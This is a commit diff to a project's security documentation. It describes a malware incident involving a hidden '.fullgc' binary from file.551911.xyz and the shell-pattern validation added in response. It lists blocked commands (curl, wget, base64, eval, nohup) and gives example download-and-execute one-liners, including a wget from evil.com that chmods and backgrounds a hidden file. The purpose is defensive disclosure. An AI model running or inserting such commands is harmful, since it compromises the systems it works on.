Update security documentation with comprehensive details and examples

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

SECURITY_ENHANCEMENTS.md

@@ -11,9 +11,9 @@ A security vulnerability was discovered where malicious code could be injected i
 2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
 
 The reported incident involved a malicious script that:
-- Downloaded an external binary (`.fullgc`) from a suspicious domain
-- Executed the binary in the background
-- Persisted by continuously re-injecting itself
+- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
+- Executed the binary in the background consuming 100% memory
+- Persisted by continuously re-injecting itself into configuration files
 
 ## Security Fixes Implemented
 
@@ -26,11 +26,11 @@ Added comprehensive validation to detect and block dangerous shell patterns:
 - **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
 - **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
 - **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
-- **Hidden Files**: Blocks references to files starting with `.` (common in malware)
-- **Background Execution**: Blocks suspicious `nohup` patterns
-- **Output Hiding**: Blocks redirects to `/dev/null` combined with background execution
+- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
+- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
+- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
 - **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
-- **Temp Directory Execution**: Blocks execution from `/tmp` or hidden directories
+- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
 
 ### 2. Config File Content Security
 
@@ -40,7 +40,7 @@ Enhanced validation for configuration file content to prevent:
 
 - Downloads followed by execution (`curl | bash`, `wget | bash`)
 - Download and permission changes (`curl && chmod +x`)
-- Suspicious executable downloads (files like `.fullgc`)
+- Downloads of hidden files (generalized pattern to catch various malware)
 - Background execution of hidden files
 
 ### 3. Improved Shell Escaping
@@ -50,7 +50,7 @@ Enhanced validation for configuration file content to prevent:
 Replaced weak shell escaping with a robust `escapeShellArg()` function that:
 
 - Properly escapes single quotes using `'\\''` pattern
-- Normalizes whitespace and newlines
+- Replaces newlines with spaces (not semicolons) to prevent command chain creation
 - Prevents command injection through various shell metacharacters
 
 ## Security Best Practices
@@ -168,6 +168,46 @@ These security measures provide defense-in-depth but are not foolproof:
 - Users with admin access can still compromise the system
 - Compromised dependencies can still execute malicious code
 
+## Alternative Approaches for Legitimate Downloads
+
+If you have legitimate use cases that require downloads:
+
+1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
+2. **Pre-download Files**: Download files manually and add them to the scripts directory
+3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
+4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
+
+## Technical Details
+
+### Validation Pattern Examples
+
+**Blocked Pattern:**
+```bash
+curl https://example.com/script.sh | bash
+```
+**Reason:** Downloads and executes external code
+
+**Blocked Pattern:**
+```bash
+d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
+```
+**Reason:** Multiple violations - download, hidden file, chmod, background execution
+
+**Allowed Pattern:**
+```bash
+node /ql/scripts/my_script.js
+```
+**Reason:** No dangerous patterns detected
+
+### Defense in Depth
+
+This implementation uses multiple layers of security:
+
+1. **Input Validation**: Blocks malicious patterns before they reach the system
+2. **Shell Escaping**: Prevents injection even if validation is bypassed
+3. **Audit Logging**: Records all configuration changes for forensic analysis
+4. **Least Privilege**: Existing blacklist prevents access to sensitive files
+
 ## Reporting Security Issues
 
 If you discover a security vulnerability, please report it responsibly:
@@ -181,3 +221,8 @@ If you discover a security vulnerability, please report it responsibly:
 
 - [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
 - [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
+- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
+
+## Version History
+
+- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks